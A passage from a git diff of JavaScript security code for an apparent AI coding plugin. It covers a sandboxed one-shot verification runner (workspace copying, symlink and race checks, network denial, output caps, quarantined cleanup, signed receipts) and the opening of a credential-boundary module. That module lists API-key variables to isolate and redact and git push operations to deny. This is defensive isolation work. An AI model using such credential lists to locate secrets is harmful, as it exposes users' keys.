BigInt(COPY_MAX_FILE_BYTES)) deny('out_of_range', 'workspace'); + limits.bytes += Number(stat.size); + if (limits.bytes > COPY_MAX_TOTAL_BYTES) deny('out_of_range', 'workspace'); + const srcFile = openNoFollow(srcChild, OPEN_NOFOLLOW_READ, 'workspace', 'candidate_unreadable'); + try { + const opened = fstatOrDeny(srcFile, 'workspace', 'candidate_unreadable'); + if (!sameIdentity(opened, stat) || opened.isSymbolicLink() || !opened.isFile()) { + deny('candidate_race', 'workspace'); + } + const mode = entryMode(stat); + copyRegularFile(srcFile, destFd, name, mode, Number(stat.size)); + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(srcFile), + kind: 'file', + mode: STRING(mode), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(srcFile); + } + } +} + +function walkCopyIdentity(dirFd, relative, depth, identity) { + if (depth > COPY_MAX_DEPTH) deny('out_of_range', 'workspace'); + let names; + try { + names = FS_READDIR_SYNC(procFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('workspace_unreadable', 'workspace'); + } + const rel = relative === '' ? name : `${relative}/${name}`; + const child = procFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(child, { bigint: true }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + if (stat.isSymbolicLink()) deny('symlink_denied', 'workspace'); + if (stat.isDirectory()) { + ARRAY_PUSH.call(identity, capturedFreeze({ + kind: 'directory', mode: STRING(entryMode(stat)), path: rel, + })); + const childFd = openNoFollow(child, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + try { + walkCopyIdentity(childFd, rel, depth + 1, identity); + } finally { + closeQuiet(childFd); + } + continue; + } + if (!stat.isFile()) deny('special_file_denied', 'workspace'); + const fileFd = openNoFollow(child, OPEN_NOFOLLOW_READ, 'workspace', 'workspace_unreadable'); + try { + ARRAY_PUSH.call(identity, capturedFreeze({ + digest: hashFdSync(fileFd), + kind: 'file', + mode: STRING(entryMode(stat)), + path: rel, + size: STRING(stat.size), + })); + } finally { + closeQuiet(fileFd); + } + } +} + +function materializeCandidateCopy(sourcePath, destFd) { + const srcFd = openNoFollow( + sourcePath, OPEN_NOFOLLOW_DIR, 'request.candidate.repository', 'candidate_unreadable', + ); + try { + const identity = []; + const limits = { bytes: 0, entries: 0 }; + copyDirectoryTree(srcFd, destFd, '', 0, limits, identity); + const copyDigest = digestCopyIdentity(identity); + const verify = []; + walkCopyIdentity(destFd, '', 0, verify); + if (!equalDigest(copyDigest, digestCopyIdentity(verify))) deny('candidate_race', 'workspace'); + return copyDigest; + } finally { + closeQuiet(srcFd); + } +} + +async function createWorkspace(adapter, candidate) { + const root = adapter.tmpRoot(); + if (typeof root !== 'string' || !PATH_IS_ABSOLUTE(root) || PATH_RESOLVE(root) !== root) { + deny('workspace_unreadable', 'workspace'); + } + const rootEntry = await lstatOrDeny(adapter, root, 'workspace', 'workspace_unreadable'); + if (rootEntry.isSymbolicLink() || !rootEntry.isDirectory()) deny('symlink_denied', 'workspace'); + const parentId = adapter.randomId(); + const id = adapter.randomId(); + if (typeof parentId !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, parentId) + || typeof id !== 'string' || !capturedTest(WORKSPACE_ID_PATTERN, id)) { + deny('workspace_unreadable', 'workspace'); + } + const parentName = `${WORKSPACE_PARENT_PREFIX}${parentId}`; + const workspaceName = `${WORKSPACE_NAME_PREFIX}${id}`; + const parentPath = PATH_JOIN(root, parentName); + const workspacePath = PATH_JOIN(parentPath, workspaceName); + if (PATH_RESOLVE(parentPath) !== parentPath || PATH_RESOLVE(workspacePath) !== workspacePath) { + deny('workspace_unreadable', 'workspace'); + } + if (isPathInside(candidate.repository, parentPath) + || isPathInside(parentPath, candidate.repository) + || isPathInside(candidate.repository, workspacePath) + || isPathInside(workspacePath, candidate.repository) + || workspacePath === root || workspacePath === '/' || parentPath === '/' + || workspacePath === candidate.repository || parentPath === candidate.repository) { + deny('workspace_overlap_denied', 'workspace'); + } + try { + await adapter.mkdir(parentPath, { recursive: false, mode: WORKSPACE_MODE }); + } catch { + deny('workspace_unreadable', 'workspace'); + } + const parentFd = openNoFollow(parentPath, OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable'); + const parentStat = fstatOrDeny(parentFd, 'workspace', 'workspace_unreadable'); + if (parentStat.isSymbolicLink() || !parentStat.isDirectory()) deny('symlink_denied', 'workspace'); + try { + await adapter.mkdir(workspacePath, { recursive: false, mode: WORKSPACE_MODE }); + } catch { + closeQuiet(parentFd); + deny('workspace_unreadable', 'workspace'); + } + const dirFd = openNoFollow( + procFdPath(parentFd, workspaceName), OPEN_NOFOLLOW_DIR, 'workspace', 'workspace_unreadable', + ); + const entry = fstatOrDeny(dirFd, 'workspace', 'workspace_unreadable'); + if (entry.isSymbolicLink() || !entry.isDirectory()) { + closeQuiet(dirFd); + closeQuiet(parentFd); + deny('symlink_denied', 'workspace'); + } + let copyDigest; + try { + copyDigest = materializeCandidateCopy(candidate.repository, dirFd); + } catch (error) { + closeQuiet(dirFd); + closeQuiet(parentFd); + throw error; + } + return { + copyDigest, + cwd: procFdPath(dirFd), + dev: entry.dev, + dirFd, + id, + ino: entry.ino, + mode: entry.mode, + name: workspaceName, + parentDev: parentStat.dev, + parentFd, + parentIno: parentStat.ino, + parentPath, + path: workspacePath, + root, + }; +} + +function closeWorkspaceFds(record) { + if (record === undefined) return; + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; +} + +function sameDirPin(left, right) { + return left.dev === right.dev && left.ino === right.ino; +} + +function cleanupFdPath(fd, name) { + if (!NUMBER_IS_SAFE_INTEGER(fd) || fd < 0) deny('cleanup_uncertain', 'cleanup'); + if (name === undefined) return `/proc/self/fd/${fd}`; + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..' + || capturedTest(/[/\0]/u, name)) { + deny('cleanup_uncertain', 'cleanup'); + } + return `/proc/self/fd/${fd}/${name}`; +} + +function openCleanupDir(target) { + let fd; + try { + fd = FS_OPEN_SYNC(target, OPEN_NOFOLLOW_DIR); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + return fd; +} + +function assertPinnedDirectory(stat, expectedDev, expectedIno) { + if (expectedDev !== undefined && (stat.dev !== expectedDev || stat.ino !== expectedIno)) { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isSymbolicLink() || !stat.isDirectory()) deny('cleanup_uncertain', 'cleanup'); +} + +function emptyPinnedDirectory(dirFd, expectedDev, expectedIno, depth) { + if (depth > COPY_MAX_DEPTH) deny('cleanup_uncertain', 'cleanup'); + const pinned = fstatOrDeny(dirFd, 'cleanup', 'cleanup_uncertain'); + assertPinnedDirectory(pinned, expectedDev, expectedIno); + let names; + try { + names = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + for (let index = 0; index < names.length; index += 1) { + const name = names[index].toString('utf8'); + if (name === '.' || name === '..' || capturedTest(/[/\0]/u, name)) { + deny('cleanup_uncertain', 'cleanup'); + } + const childPath = cleanupFdPath(dirFd, name); + let stat; + try { + stat = FS_LSTAT_SYNC(childPath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + if (stat.isDirectory()) { + const childFd = openCleanupDir(childPath); + try { + const opened = fstatOrDeny(childFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(opened, stat) || opened.isSymbolicLink() || !opened.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + emptyPinnedDirectory(childFd, opened.dev, opened.ino, depth + 1); + } finally { + closeQuiet(childFd); + } + try { + const remaining = FS_LSTAT_SYNC(childPath, { bigint: true }); + if (!sameDirPin(remaining, stat) || remaining.isSymbolicLink() || !remaining.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + FS_RMDIR_SYNC(childPath); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'cleanup'); + } + continue; + } + try { + FS_UNLINK_SYNC(childPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } + let leftover; + try { + leftover = FS_READDIR_SYNC(cleanupFdPath(dirFd), { encoding: 'buffer' }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + if (leftover.length !== 0) deny('cleanup_uncertain', 'cleanup'); +} + +function unlinkQuarantineName(parentFd, qName, expectedDev, expectedIno) { + const namePath = cleanupFdPath(parentFd, qName); + let nameStat; + try { + nameStat = FS_LSTAT_SYNC(namePath, { bigint: true }); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + assertPinnedDirectory(nameStat, expectedDev, expectedIno); + try { + FS_RMDIR_SYNC(namePath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } +} + +function assertQuarantineAbsent(parentFd, qName) { + try { + FS_LSTAT_SYNC(cleanupFdPath(parentFd, qName), { bigint: true }); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + if (error && error.code === 'ENOENT') return; + deny('cleanup_uncertain', 'cleanup'); + } + deny('cleanup_uncertain', 'cleanup'); +} + +async function invokeAfterQuarantinePin(adapter, record, qName, qFd) { + if (typeof adapter.afterQuarantinePin !== 'function') return; + await adapter.afterQuarantinePin({ + dev: record.dev, + dirFd: record.dirFd, + ino: record.ino, + name: record.name, + parentFd: record.parentFd, + parentPath: record.parentPath, + path: record.path, + qFd, + qName, + }); +} + +async function removeExactWorkspace(adapter, record) { + if (record === undefined || !NUMBER_IS_SAFE_INTEGER(record.parentFd) || record.parentFd < 0 + || !NUMBER_IS_SAFE_INTEGER(record.dirFd) || record.dirFd < 0 + || typeof record.name !== 'string' || typeof record.id !== 'string' + || !STRING_STARTS_WITH(record.name, WORKSPACE_NAME_PREFIX) + || !capturedTest(WORKSPACE_ID_PATTERN, record.id) + || record.parentPath === '/' || record.path === '/' || record.path === record.parentPath) { + deny('cleanup_uncertain', 'cleanup'); + } + const qName = `${QUARANTINE_NAME_PREFIX}${record.id}`; + if (qName === record.name || !STRING_STARTS_WITH(qName, QUARANTINE_NAME_PREFIX)) { + deny('cleanup_uncertain', 'cleanup'); + } + let qFd = -1; + try { + try { + FS_RENAME_SYNC( + cleanupFdPath(record.parentFd, record.name), cleanupFdPath(record.parentFd, qName), + ); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + qFd = openCleanupDir(cleanupFdPath(record.parentFd, qName)); + const qStat = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinned = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qStat, record) || !sameDirPin(pinned, record) + || qStat.isSymbolicLink() || !qStat.isDirectory() + || pinned.isSymbolicLink() || !pinned.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + await invokeAfterQuarantinePin(adapter, record, qName, qFd); + emptyPinnedDirectory(qFd, record.dev, record.ino, 0); + const qAfter = fstatOrDeny(qFd, 'cleanup', 'cleanup_uncertain'); + const pinnedAfter = fstatOrDeny(record.dirFd, 'cleanup', 'cleanup_uncertain'); + if (!sameDirPin(qAfter, record) || !sameDirPin(pinnedAfter, record) + || qAfter.isSymbolicLink() || !qAfter.isDirectory() + || pinnedAfter.isSymbolicLink() || !pinnedAfter.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + unlinkQuarantineName(record.parentFd, qName, record.dev, record.ino); + assertQuarantineAbsent(record.parentFd, qName); + const parentStat = fstatOrDeny(record.parentFd, 'cleanup', 'cleanup_uncertain'); + if (parentStat.dev !== record.parentDev || parentStat.ino !== record.parentIno + || parentStat.isSymbolicLink() || !parentStat.isDirectory()) { + deny('cleanup_uncertain', 'cleanup'); + } + try { + FS_RMDIR_SYNC(record.parentPath); + } catch { + deny('cleanup_uncertain', 'cleanup'); + } + } finally { + closeQuiet(qFd); + closeQuiet(record.dirFd); + closeQuiet(record.parentFd); + record.dirFd = -1; + record.parentFd = -1; + } +} + +function waitStreamEnded(stream) { + if (!stream || typeof stream.once !== 'function') return Promise.resolve(); + if (stream.readableEnded === true) return Promise.resolve(); + return new Promise((resolve) => { + let settled = false; + const done = () => { + if (settled) return; + settled = true; + resolve(); + }; + stream.once('end', done); + stream.once('close', done); + stream.once('error', done); + if (typeof stream.resume === 'function') stream.resume(); + }); +} + +function attachCappedStream(stream, maxBytes, onFlood) { + const chunks = []; + let size = 0; + let truncated = false; + const handle = (chunk) => { + if (truncated) return; + const buf = NodeBuffer.isBuffer(chunk) ? chunk : BUFFER_FROM(chunk); + const room = maxBytes - size; + if (buf.length > room) { + if (room > 0) ARRAY_PUSH.call(chunks, buf.subarray(0, room)); + size = maxBytes; + truncated = true; + onFlood(); + return; + } + ARRAY_PUSH.call(chunks, buf); + size += buf.length; + }; + if (stream && typeof stream.on === 'function') stream.on('data', handle); + return { + bytes: () => size, + truncated: () => truncated, + digest: () => sha256Hex(size === 0 ? BUFFER_ALLOC(0) : BUFFER_CONCAT(chunks)), + }; +} + +function pinApprovedExecutable(executable) { + const execFd = openNoFollow( + executable, OPEN_NOFOLLOW_READ, 'request.intent.executable', 'executable_not_runnable', + ); + const preStat = fstatOrDeny(execFd, 'request.intent.executable', 'executable_not_runnable'); + assertPinnedRegularFile(preStat, 'request.intent.executable', 'executable_not_runnable'); + const mode = typeof preStat.mode === 'bigint' ? Number(preStat.mode & 0o111n) : preStat.mode & 0o111; + if (mode === 0) { + closeQuiet(execFd); + deny('executable_not_runnable', 'request.intent.executable'); + } + const preHash = hashFdSync(execFd); + return { execFd, preHash, preStat }; +} + +function assertExecutableIdentityHeld(executable, pin) { + const postStat = fstatOrDeny(pin.execFd, 'request.intent.executable', 'executable_not_runnable'); + if (!sameIdentity(postStat, pin.preStat) || postStat.isSymbolicLink() || !postStat.isFile()) { + deny('executable_not_runnable', 'request.intent.executable'); + } + const postHash = hashFdSync(pin.execFd); + if (!equalDigest(postHash, pin.preHash)) deny('executable_not_runnable', 'request.intent.executable'); + let pathStat; + try { + pathStat = FS_LSTAT_SYNC(executable, { bigint: true }); + } catch { + deny('executable_not_runnable', 'request.intent.executable'); + } + if (pathStat.isSymbolicLink() || pathStat.dev !== pin.preStat.dev || pathStat.ino !== pin.preStat.ino) { + deny('executable_not_runnable', 'request.intent.executable'); + } +} + +async function listDescendantsOrUncertain(adapter, pid) { + let leftovers; + try { + leftovers = await adapter.listDescendants(pid); + } catch (error) { + if (error && error.name === 'RunContractV1Error') throw error; + deny('cleanup_uncertain', 'execution'); + } + if (!capturedIsArray(leftovers)) deny('cleanup_uncertain', 'execution'); + return leftovers; +} + +async function runApprovedOnce(adapter, intent, workspace, env, markSpawned) { + if (intent.timeout_ms < KILL_GRACE_MS) deny('out_of_range', 'request.intent.timeout_ms'); + const argv = []; + for (let index = 0; index < intent.argv.length; index += 1) { + ARRAY_PUSH.call(argv, intent.argv[index]); + } + const limits = resourceLimitsFor(intent.timeout_ms); + const verify = []; + walkCopyIdentity(workspace.dirFd, '', 0, verify); + if (!equalDigest(workspace.copyDigest, digestCopyIdentity(verify))) { + deny('candidate_race', 'workspace'); + } + const pin = pinApprovedExecutable(intent.executable); + markSpawned(); + let child; + try { + child = adapter.spawn(intent.executable, argv, { + cwd: workspace.cwd, + env, + executableFd: pin.execFd, + networkMode: 'deny', + resourceLimits: limits, + shell: false, + stdio: ['ignore', 'pipe', 'pipe'], + windowsHide: true, + workspaceFd: workspace.dirFd, + detached: false, + }); + } catch { + closeQuiet(pin.execFd); + deny('resource_bound_unavailable', 'execution'); + } + if (!child || typeof child.on !== 'function') { + closeQuiet(pin.execFd); + deny('resource_bound_unavailable', 'execution'); + } + let flooded = false; + let timedOut = false; + let killConfirmed = true; + let killGrace; + const stdoutCap = attachCappedStream(child.stdout, intent.resources.max_output_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } + }); + const stderrCap = attachCappedStream(child.stderr, intent.resources.max_error_bytes, () => { + flooded = true; + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } + }); + const timer = setTimeout(() => { + timedOut = true; + try { adapter.killProcessGroup(child.pid, 'SIGTERM'); } catch { killConfirmed = false; } + killGrace = setTimeout(() => { + try { adapter.killProcessGroup(child.pid, 'SIGKILL'); } catch { killConfirmed = false; } + }, KILL_GRACE_MS); + }, intent.timeout_ms); + let exit; + let stuckTimer; + try { + exit = await new Promise((resolve, reject) => { + let settled = false; + const finish = (value) => { + if (settled) return; + settled = true; + resolve(value); + }; + child.once('error', reject); + child.once('exit', (code, signal) => finish({ code, signal })); + stuckTimer = setTimeout(() => { + finish({ code: null, signal: null, stuck: true }); + }, intent.timeout_ms + KILL_GRACE_MS + STUCK_GRACE_MS); + }); + await Promise.race([ + Promise.all([waitStreamEnded(child.stdout), waitStreamEnded(child.stderr)]), + new Promise((resolve) => setTimeout(resolve, STUCK_GRACE_MS)), + ]); + } catch { + closeQuiet(pin.execFd); + deny('resource_bound_unavailable', 'execution'); + } finally { + clearTimeout(timer); + if (killGrace !== undefined) clearTimeout(killGrace); + if (stuckTimer !== undefined) clearTimeout(stuckTimer); + } + try { + assertExecutableIdentityHeld(intent.executable, pin); + const leftovers = await listDescendantsOrUncertain(adapter, child.pid); + if (leftovers.length > 0) { + for (let index = 0; index < leftovers.length; index += 1) { + try { adapter.killProcessGroup(leftovers[index], 'SIGKILL'); } catch { /* best effort */ } + } + const still = await listDescendantsOrUncertain(adapter, child.pid); + if (still.length > 0) deny('escaped_descendants', 'execution'); + deny('escaped_descendants', 'execution'); + } + if (exit.stuck === true) deny('cleanup_uncertain', 'execution'); + if (killConfirmed === false) deny('cleanup_uncertain', 'execution'); + if (flooded || stdoutCap.truncated() || stderrCap.truncated()) deny('output_flood', 'execution'); + if (timedOut) deny('timeout', 'execution'); + const code = exit.code; + const signal = exit.signal; + const hasCode = code !== null && code !== undefined; + const hasSignal = signal !== null && signal !== undefined; + if (hasCode === hasSignal) deny('signal_ambiguous', 'execution'); + if (hasSignal) deny('signal_ambiguous', 'execution'); + if (typeof code !== 'number' || !NUMBER_IS_SAFE_INTEGER(code) || code < 0 || code > 255) { + deny('signal_ambiguous', 'execution'); + } + return { + exit_code: code, + signal: null, + stdout_bytes: stdoutCap.bytes(), + stderr_bytes: stderrCap.bytes(), + stdout_digest: stdoutCap.digest(), + stderr_digest: stderrCap.digest(), + stdout_truncated: false, + stderr_truncated: false, + }; + } finally { + closeQuiet(pin.execFd); + } +} + +function requireEnum(allowed, value, path) { + if (!capturedIncludes(allowed, value)) deny('invalid_format', path); + return value; +} + +function resultForExit(code) { + return requireEnum(REPORTED_RESULTS, code === 0 ? 'pass' : 'fail', 'outcome.result'); +} + +function freezeAcceptanceObservation(intent, run, durationMs) { + const payload = freezeRecord(capturedFreeze(['command_id', 'result']), { + command_id: intent.command_id, + result: resultForExit(run.exit_code), + }); + const outputDigest = sha256Hex(BUFFER_FROM(`${run.stdout_digest}:${run.stderr_digest}`, 'utf8')); + return freezeRecord(ACCEPTANCE_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'acceptance_results', 'facts.acceptance.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.acceptance.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.acceptance.code'), + subject: intent.command_id, + authority: requireEnum(FACT_AUTHORITIES, 'platform_acceptance_runner', 'facts.acceptance.authority'), + method: requireEnum(FACT_METHODS, 'approved_command_execution', 'facts.acceptance.method'), + input_digest: intent.plan_identity.digest, + output_digest: outputDigest, + exit_code: run.exit_code, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function freezeGitObservation(snapshot, durationMs, inputDigest) { + const payload = freezeRecord(capturedFreeze(['base_sha', 'head_sha']), { + base_sha: snapshot.base_sha, + head_sha: snapshot.head_sha, + }); + return freezeRecord(GIT_OBSERVATION_KEYS, { + fact_kind: requireEnum(FACT_KINDS, 'git_identity', 'facts.git_identity.fact_kind'), + status: requireEnum(FACT_STATUSES, 'verified', 'facts.git_identity.status'), + code: requireEnum(FACT_CODES, 'host_observed', 'facts.git_identity.code'), + subject: 'repository', + authority: requireEnum(FACT_AUTHORITIES, 'platform_git', 'facts.git_identity.authority'), + method: requireEnum(FACT_METHODS, 'read_only_no_changes', 'facts.git_identity.method'), + input_digest: inputDigest, + output_digest: snapshot.filesystem_digest, + exit_code: null, + duration_ms: durationMs, + truncated: false, + payload, + payload_digest: payloadDigestOf(payload), + }); +} + +function cloneObservation(observation, keys) { + const payloadKeys = sortedCapturedKeys(observation.payload); + const payloadValues = {}; + for (let index = 0; index < payloadKeys.length; index += 1) { + const key = payloadKeys[index]; + payloadValues[key] = observation.payload[key]; + } + const values = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + values[key] = key === 'payload' ? freezeRecord(payloadKeys, payloadValues) : observation[key]; + } + return freezeRecord(keys, values); +} + +function freezeFacts(acceptance, git) { + return freezeList([ + cloneObservation(acceptance, ACCEPTANCE_OBSERVATION_KEYS), + cloneObservation(git, GIT_OBSERVATION_KEYS), + ]); +} + +function freezeOutcome(run, durationMs) { + return freezeRecord(OUTCOME_KEYS, { + result: resultForExit(run.exit_code), + exit_code: run.exit_code, + signal: null, + termination: 'exited', + duration_ms: durationMs, + stdout_bytes: run.stdout_bytes, + stderr_bytes: run.stderr_bytes, + stdout_digest: run.stdout_digest, + stderr_digest: run.stderr_digest, + stdout_truncated: false, + stderr_truncated: false, + }); +} + +function freezeCandidateAudit(snapshot) { + return freezeRecord(CANDIDATE_AUDIT_KEYS, { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + unchanged: true, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: snapshot.filesystem_digest, + }); +} + +function bindCopyIdentity(snapshot, copyDigest) { + return freezeRecord(capturedFreeze([ + 'base_sha', 'config_digest', 'filesystem_digest', 'gitdir', 'head_sha', + 'refs_digest', 'status_digest', 'worktrees_digest', + ]), { + head_sha: snapshot.head_sha, + base_sha: snapshot.base_sha, + status_digest: snapshot.status_digest, + refs_digest: snapshot.refs_digest, + config_digest: snapshot.config_digest, + worktrees_digest: snapshot.worktrees_digest, + filesystem_digest: sha256Hex(BUFFER_FROM(canonicalJsonStringify({ + copy: copyDigest, + source: snapshot.filesystem_digest, + }), 'utf8')), + gitdir: snapshot.gitdir, + }); +} + +export async function executeConstrainedVerificationV1(input, options = {}) { + const request = parseRequest(input, 'request'); + const adapter = resolveAdapter(options, 'options'); + const intent = request.intent; + const candidate = request.candidate; + await assertExecutableSafe(adapter, intent.executable); + const filesystemBefore = await assertCandidateSafe(adapter, candidate); + const before = await snapshotCandidate(adapter, candidate, filesystemBefore, true); + let workspace; + let spawned = false; + const markSpawned = () => { + if (spawned) deny('one_execution_only', 'execution'); + spawned = true; + }; + try { + workspace = await createWorkspace(adapter, candidate); + const boundBefore = bindCopyIdentity(before, workspace.copyDigest); + const env = buildChildEnvironment(intent.environment); + const started = adapter.nowMs(); + if (typeof started !== 'number' || !NUMBER_IS_SAFE_INTEGER(started) || started < 0) { + deny('clock_denied', 'execution'); + } + const run = await runApprovedOnce(adapter, intent, workspace, env, markSpawned); + const ended = adapter.nowMs(); + if (typeof ended !== 'number' || !NUMBER_IS_SAFE_INTEGER(ended) || ended < started) { + deny('clock_denied', 'execution'); + } + const durationMs = ended - started; + const filesystemAfter = await assertCandidateSafe(adapter, candidate); + const after = await snapshotCandidate(adapter, candidate, filesystemAfter, false); + const boundAfter = bindCopyIdentity(after, workspace.copyDigest); + assertUnchanged(boundBefore, boundAfter); + await removeExactWorkspace(adapter, workspace); + workspace = undefined; + const acceptance = freezeAcceptanceObservation(intent, run, durationMs); + const git = freezeGitObservation(boundAfter, durationMs, intent.plan_identity.digest); + const observations = freezeRecord(OBSERVATION_KEYS, { acceptance, git_identity: git }); + const body = freezeRecord(RECEIPT_BODY_KEYS, { + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + command_id: intent.command_id, + intent_identity: intent.plan_identity, + policy_identity: intent.policy_identity, + outcome: freezeOutcome(run, durationMs), + candidate_audit: freezeCandidateAudit(boundAfter), + cleanup: freezeRecord(CLEANUP_KEYS, { status: 'removed' }), + observations, + facts: freezeFacts(acceptance, git), + }); + const executionIdentity = digestOf(VERIFICATION_EXECUTION_DIGEST_LABEL, body); + return freezeRecord(RECEIPT_RESULT_KEYS, { + schema: body.schema, + version: body.version, + command_id: body.command_id, + intent_identity: body.intent_identity, + policy_identity: body.policy_identity, + execution_identity: executionIdentity, + outcome: body.outcome, + candidate_audit: body.candidate_audit, + cleanup: body.cleanup, + observations: body.observations, + facts: body.facts, + }); + } catch (error) { + if (workspace !== undefined) { + try { + await removeExactWorkspace(adapter, workspace); + } catch (cleanupError) { + closeWorkspaceFds(workspace); + if (cleanupError && cleanupError.name === 'RunContractV1Error') throw cleanupError; + deny('cleanup_uncertain', 'cleanup'); + } + } + throw error; + } +} + +export const CONSTRAINED_VERIFICATION_CONTRACT_DESCRIPTOR = capturedFreeze({ + schema: CONSTRAINED_VERIFICATION_SCHEMA_ID, + version: CONSTRAINED_VERIFICATION_VERSION, + label: VERIFICATION_EXECUTION_DIGEST_LABEL, + request_keys: REQUEST_ALLOWED_KEYS, + candidate_keys: CANDIDATE_ALLOWED_KEYS, + receipt_keys: RECEIPT_RESULT_KEYS, + git_executable: GIT_EXECUTABLE, + unshare_executable: UNSHARE_EXECUTABLE, + prlimit_executable: PRLIMIT_EXECUTABLE, + reported_results: REPORTED_RESULTS, + fact_kinds: capturedFreeze(['acceptance_results', 'git_identity']), + default_deny: capturedFreeze({ + shell: false, + env: capturedFreeze({}), + network: 'deny', + executions: 1, + cpu_seconds_cap: RESOURCE_CPU_SECONDS_CAP, + address_space_bytes: RESOURCE_ADDRESS_SPACE_BYTES, + nproc: RESOURCE_NPROC, + }), +}); + +capturedFreeze(executeConstrainedVerificationV1); diff --git a/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs new file mode 100644 index 0000000..20b044b --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/credential-boundary.mjs @@ -0,0 +1,774 @@ +// CredentialBoundaryV1 — P29 credential and remote-mutation isolation. +// Closed provider/operation environment projection, owner-only credential +// reads, argv-free secret handoff, exact-value redaction, and worker +// push/remote-mutation denial. Not a sandbox: same-UID malicious +// filesystem access is outside this boundary. P23 registry composition +// and P28 Git authority policy remain the accepted seams; this module +// does not wrap them. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { + constants as fsConstants, +} from 'node:fs'; +import { + chmod, + lstat, + mkdir, + mkdtemp, + open, + readdir, + rmdir, + unlink, +} from 'node:fs/promises'; +import { homedir, tmpdir } from 'node:os'; +import path from 'node:path'; +import { types as utilTypes } from 'node:util'; + +import { capturedFreeze, capturedHasOwn, capturedIncludes } from './grammar.mjs'; +import { DENIED_OPERATIONS } from './git-authority.mjs'; +import { assertNotProxy } from './selection-json.mjs'; + +export const CREDENTIAL_BOUNDARY_SCHEMA_ID = 'codex-co-engineer.credential-boundary.v1'; +export const CREDENTIAL_BOUNDARY_VERSION = 1; +export const MAX_CREDENTIAL_BYTES = 16 * 1024; +export const MAX_HANDOFF_BYTES = 64 * 1024; +export const REDACTION_FRAGMENT_BYTES = 32; +export const REDACTION_FRAGMENT_STRIDE = 16; +export const REDACTED = '[REDACTED]'; +export const HANDOFF_ENV_KEY = 'CODEX_CO_ENGINEER_CREDENTIAL_HANDOFF'; +export const DEFAULT_DSH_MODEL = 'muse-spark-1.2-contributor'; +export const DSH_OX_MODEL = 'stealth/ox-alpha'; + +export const OPERATIONAL_ENV_KEYS = capturedFreeze([ + 'HOME', 'LANG', 'LC_ALL', 'LC_CTYPE', 'LOGNAME', 'PATH', 'TERM', 'TMPDIR', + 'TZ', 'USER', 'XDG_CACHE_HOME', 'XDG_CONFIG_HOME', 'XDG_DATA_HOME', + 'XDG_STATE_HOME', +]); + +export const SYSTEMD_CLIENT_ENV_KEYS = capturedFreeze([ + 'DBUS_SESSION_BUS_ADDRESS', 'XDG_RUNTIME_DIR', 'XDG_SESSION_ID', +]); + +export const GIT_INSPECT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_ALLOW_PROTOCOL: '', + GIT_PROTOCOL_FROM_USER: '0', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +export const GIT_HARDENING_ENV = capturedFreeze({ + GIT_TERMINAL_PROMPT: '0', + GIT_ASKPASS: '', + GIT_PUSH_OPTION_COUNT: '0', +}); + +export const CREDENTIAL_ENV_KEYS = capturedFreeze([ + 'CURSOR_API_KEY', 'MODEL_API_KEY', 'OPENROUTER_API_KEY', 'XAI_API_KEY', +]); + +export const CREDENTIAL_FILE_ENV_KEYS = capturedFreeze([ + 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + 